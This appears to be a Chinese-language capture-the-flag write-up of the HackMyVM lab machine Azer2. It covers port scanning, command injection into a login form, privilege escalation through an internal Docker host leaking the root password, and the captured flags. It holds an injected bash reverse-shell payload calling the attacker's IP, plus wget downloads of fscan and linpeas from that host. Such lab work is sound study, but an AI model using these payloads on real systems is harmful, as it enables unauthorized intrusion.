hmv[-_-]Azer2
|
307
|
0
|
CP,penetration test,WEB

688 字
|
18 分钟

Azer2

今天第一次尝试hackmyvm的机器，尝试独立解决一下试试，打开，熟悉的报错：

image-20240229005130861

麻了，尝试配置一下靶场，先使用virtualbox打开，以1.0的协议转化，到处ova再使用vmware进行升级：

image-20240314191135124

image-20240314191210177

扫描一下：

image-20240315232356158

扫到了！

信息搜集

端口扫描

先扫描一下：

rustscan -a 10.161.61.133 -- -A -sV --script=vuln
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.161.61.133:80
Open 10.161.61.133:3000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)   '
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-15 11:28 EDT
NSE: Loaded 150 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 10.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Initiating Ping Scan at 11:28
Scanning 10.161.61.133 [2 ports]
Completed Ping Scan at 11:28, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:28
Completed Parallel DNS resolution of 1 host. at 11:28, 6.55s elapsed
DNS resolution of 1 IPs took 6.55s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating Connect Scan at 11:28
Scanning 10.161.61.133 [2 ports]
Discovered open port 80/tcp on 10.161.61.133
Discovered open port 3000/tcp on 10.161.61.133
Completed Connect Scan at 11:28, 0.00s elapsed (2 total ports)
Initiating Service scan at 11:28
Scanning 2 services on 10.161.61.133
Completed Service scan at 11:28, 11.16s elapsed (2 services on 1 host)
NSE: Script scanning 10.161.61.133.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:28
NSE: [firewall-bypass 10.161.61.133] lacks privileges.
NSE Timing: About 98.59% done; ETC: 11:29 (0:00:00 remaining)
NSE Timing: About 98.59% done; ETC: 11:29 (0:00:01 remaining)
Completed NSE at 11:29, 66.70s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:29
NSE: [tls-ticketbleed 10.161.61.133:80] Not running due to lack of privileges.
Completed NSE at 11:29, 0.02s elapsed
Nmap scan report for 10.161.61.133
Host is up, received syn-ack (0.0010s latency).
Scanned at 2024-03-15 11:28:31 EDT for 78s

PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack Apache httpd 2.4.57 ((Debian))
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-server-header: Apache/2.4.57 (Debian)
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.161.61.133
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.161.61.133:80/bagis/Bagis99bd.html?Deger=500
|     Form id: frm_bagis
|     Form action: https://www.losev.org.tr/bagis/GenericVer3RequestHashHandler.aspx
|     
|     Path: http://10.161.61.133:80/bagis/Bagis3f19.html?Deger=250
|     Form id: frm_bagis
|     Form action: https://www.losev.org.tr/bagis/GenericVer3RequestHashHandler.aspx
|     
|     Path: http://10.161.61.133:80/bagis/Bagisfb23.html?Deger=0
|     Form id: frm_bagis
|     Form action: https://www.losev.org.tr/bagis/GenericVer3RequestHashHandler.aspx
|     
|     Path: http://10.161.61.133:80/bagis/Bagis31df.html?Deger=150
|     Form id: frm_bagis
|     Form action: https://www.losev.org.tr/bagis/GenericVer3RequestHashHandler.aspx
|     
|     Path: http://10.161.61.133:80/bagis/Bagis5fed.html?Deger=50
|     Form id: frm_bagis
|_    Form action: https://www.losev.org.tr/bagis/GenericVer3RequestHashHandler.aspx
|_http-wordpress-users: [Error] WordPress installation was not found. We couldn't find wp-login.php
| http-fileupload-exploiter: 
|   
|_    Couldn't find a file-type field.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| vulners: 
|   cpe:/a:apache:http_server:2.4.57: 
|       OSV:BIT-APACHE-2023-45802       5.0     https://vulners.com/osv/OSV:BIT-APACHE-2023-45802
|       OSV:BIT-APACHE-2023-43622       5.0     https://vulners.com/osv/OSV:BIT-APACHE-2023-43622
|       OSV:BIT-2023-45802      5.0     https://vulners.com/osv/OSV:BIT-2023-45802
|       OSV:BIT-2023-43622      5.0     https://vulners.com/osv/OSV:BIT-2023-43622
|       F7F6E599-CEF4-5E03-8E10-FE18C4101E38    5.0     https://vulners.com/githubexploit/F7F6E599-CEF4-5E03-8E10-FE18C4101E38  *EXPLOIT*
|       E5C174E5-D6E8-56E0-8403-D287DE52EB3F    5.0     https://vulners.com/githubexploit/E5C174E5-D6E8-56E0-8403-D287DE52EB3F  *EXPLOIT*
|       DB6E1BBD-08B1-574D-A351-7D6BB9898A4A    5.0     https://vulners.com/githubexploit/DB6E1BBD-08B1-574D-A351-7D6BB9898A4A  *EXPLOIT*
|       CVE-2023-43622  5.0     https://vulners.com/cve/CVE-2023-43622
|       CVE-2023-31122  5.0     https://vulners.com/cve/CVE-2023-31122
|       CNVD-2023-93320 5.0     https://vulners.com/cnvd/CNVD-2023-93320
|       C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B    5.0     https://vulners.com/githubexploit/C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B  *EXPLOIT*
|       BD3652A9-D066-57BA-9943-4E34970463B9    5.0     https://vulners.com/githubexploit/BD3652A9-D066-57BA-9943-4E34970463B9  *EXPLOIT*
|       B0208442-6E17-5772-B12D-B5BE30FA5540    5.0     https://vulners.com/githubexploit/B0208442-6E17-5772-B12D-B5BE30FA5540  *EXPLOIT*
|       A820A056-9F91-5059-B0BC-8D92C7A31A52    5.0     https://vulners.com/githubexploit/A820A056-9F91-5059-B0BC-8D92C7A31A52  *EXPLOIT*
|       9814661A-35A4-5DB7-BB25-A1040F365C81    5.0     https://vulners.com/githubexploit/9814661A-35A4-5DB7-BB25-A1040F365C81  *EXPLOIT*
|       5A864BCC-B490-5532-83AB-2E4109BB3C31    5.0     https://vulners.com/githubexploit/5A864BCC-B490-5532-83AB-2E4109BB3C31  *EXPLOIT*
|       17C6AD2A-8469-56C8-BBBE-1764D0DF1680    5.0     https://vulners.com/githubexploit/17C6AD2A-8469-56C8-BBBE-1764D0DF1680  *EXPLOIT*
|_      CVE-2023-45802  2.6     https://vulners.com/cve/CVE-2023-45802
3000/tcp open  http    syn-ack Node.js (Express middleware)
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-wordpress-users: [Error] WordPress installation was not found. We couldn't find wp-login.php
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.161.61.133
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.161.61.133:3000/
|     Form id: username
|_    Form action: /login

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:29
Completed NSE at 11:29, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:29
Completed NSE at 11:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.45 seconds

目录扫描

先看一下有些啥东西：

image-20240315233948039

到处看看，顺便扫描一下

dirsearch -u http://10.161.61.133 -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

（打完发现还没扫出来。。。。）

漏洞利用

查看一下3000端口

image-20240315235858025

存在一个登录界面，尝试万能密码以及弱密码：

image-20240316001016165

似乎是执行了一个shell脚本，尝试弹一个反向shell：

;bash -c 'exec bash -i &>/dev/tcp/10.161.61.130/1234 <&1'

image-20240316002019143

弹过来了！

查看一下flag！

cat user.txt
0d2856d69dc348b3af80a0eed67c7502

提权

信息搜集

azer@azer:~$ whoami;id
whoami;id
azer
uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)
azer@azer:~$ uname -a
uname -a
Linux azer 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Linux
azer@azer:~$ lsb_release -a
lsb_release -a
Distributor ID: Debian
Description:    Debian GNU/Linux 12 (bookworm)
Release:        12
Codename:       bookworm
azer@azer:~$ crontab -l
crontab -l
no crontab for azer

查看网卡信息

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000                                                                                                          
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:36:f0:b0 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 10.161.61.133/24 brd 10.161.61.255 scope global dynamic ens33
       valid_lft 1167sec preferred_lft 1167sec
    inet6 fe80::20c:29ff:fe36:f0b0/64 scope link 
       valid_lft forever preferred_lft forever
3: br-333bcb432cd5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:20:87:b8:aa brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.1/24 brd 10.10.10.255 scope global br-333bcb432cd5
       valid_lft forever preferred_lft forever
    inet6 fe80::42:20ff:fe87:b8aa/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:16:b1:2b:71 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: veth05e3397@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-333bcb432cd5 state UP group default 
    link/ether 0e:59:88:7a:96:ad brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::c59:88ff:fe7a:96ad/64 scope link 
       valid_lft forever preferred_lft forever

发现了一个docker容器。

企图查看一下docker信息，但是没啥大用：

azer@azer:/var/www/html/v6$ docker ps -a
docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
azer@azer:/var/www/html/v6$ docker info
docker info
Client: Docker Engine - Community
 Version:    25.0.3
 Context:    default
 Debug Mode: false
 Plugins:
  buildx: Docker Buildx (Docker Inc.)
    Version:  v0.12.1
    Path:     /usr/libexec/docker/cli-plugins/docker-buildx
  compose: Docker Compose (Docker Inc.)
    Version:  v2.24.5
    Path:     /usr/libexec/docker/cli-plugins/docker-compose

Server:
ERROR: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/info": dial unix /var/run/docker.sock: connect: permission denied
errors pretty printing info

上传一个fscan查看一下内网信息：

azer@azer:/tmp$ wget 10.161.61.130:8888/fscan       
wget 10.161.61.130:8888/fscan
--2024-03-15 12:31:30--  http://10.161.61.130:8888/fscan
Connecting to 10.161.61.130:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24379392 (23M) [application/octet-stream]
Saving to: ‘fscan’

fscan               100%[===================>]  23.25M  26.2MB/s    in 0.9s    

2024-03-15 12:31:31 (26.2 MB/s) - ‘fscan’ saved [24379392/24379392]

azer@azer:/tmp$ ./fscan -h 10.10.10.1/24
./fscan -h 10.10.10.1/24
bash: ./fscan: Permission denied
azer@azer:/tmp$ chmod +x fscan
chmod +x fscan
azer@azer:/tmp$ ./fscan -h 10.10.10.1/24
./fscan -h 10.10.10.1/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
[*] Icmp alive hosts len is: 0
start vulscan
已完成 0/0
[*] 扫描结束,耗时: 6.226452119s

啥都没扫到，啊这。传一个linpeans试试：

azer@azer:/tmp$ wget http://10.161.61.130:8888/linpeas.sh         
wget http://10.161.61.130:8888/linpeas.sh
--2024-03-15 12:48:43--  http://10.161.61.130:8888/linpeas.sh
Connecting to 10.161.61.130:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 332111 (324K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 324.33K  --.-KB/s    in 0.04s   

2024-03-15 12:48:43 (7.59 MB/s) - ‘linpeas.sh’ saved [332111/332111]

azer@azer:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
azer@azer:/tmp$ ./linpeas.sh

查看到了一个防火墙的过滤器：

[+] Iptables rules
*filter                                                                                                                                                                                              
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
:DOCKER - [0:0]
:DOCKER-ISOLATION-STAGE-1 - [0:0]
:DOCKER-ISOLATION-STAGE-2 - [0:0]
:DOCKER-USER - [0:0]
-A FORWARD -j DOCKER-USER
-A FORWARD -j DOCKER-ISOLATION-STAGE-1
-A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -o docker0 -j DOCKER
-A FORWARD -i docker0 ! -o docker0 -j ACCEPT
-A FORWARD -i docker0 -o docker0 -j ACCEPT
-A FORWARD -o br-333bcb432cd5 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -o br-333bcb432cd5 -j DOCKER
-A FORWARD -i br-333bcb432cd5 ! -o br-333bcb432cd5 -j ACCEPT
-A FORWARD -i br-333bcb432cd5 -o br-333bcb432cd5 -j ACCEPT
-A OUTPUT -p icmp -j DROP
-A DOCKER-ISOLATION-STAGE-1 -i docker0 ! -o docker0 -j DOCKER-ISOLATION-STAGE-2
-A DOCKER-ISOLATION-STAGE-1 -i br-333bcb432cd5 ! -o br-333bcb432cd5 -j DOCKER-ISOLATION-STAGE-2
-A DOCKER-ISOLATION-STAGE-1 -j RETURN
-A DOCKER-ISOLATION-STAGE-2 -o docker0 -j DROP
-A DOCKER-ISOLATION-STAGE-2 -o br-333bcb432cd5 -j DROP
-A DOCKER-ISOLATION-STAGE-2 -j RETURN
-A DOCKER-USER -j RETURN
COMMIT
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A POSTROUTING -s 10.10.10.0/24 ! -o br-333bcb432cd5 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
-A DOCKER -i br-333bcb432cd5 -j RETURN
COMMIT

看到把icmp禁掉了，说明是无法进行ping的，改掉这个ping再试试：

./fscan -h 10.10.10.1/24 -np -nopoc -noredis

不管他，我们只要探测存活主机就行了，啥没必要的全部都给他关掉。

start infoscan
10.10.10.10:80 open
10.10.10.1:80 open

访问看一下。

azer@azer:~$ curl 10.10.10.10:80
curl 10.10.10.10:80
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    17  100    17    0     0    425      0 --:--:-- --:--:-- --:--:--   435
.:.AzerBulbul.:.

难道是flag？提交发现不是的，尝试切换root，成功！

azer@azer:~$ su root
su root
Password: .:.AzerBulbul.:.
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
b5d96aec2d5f1541c5e7910ccab527d8
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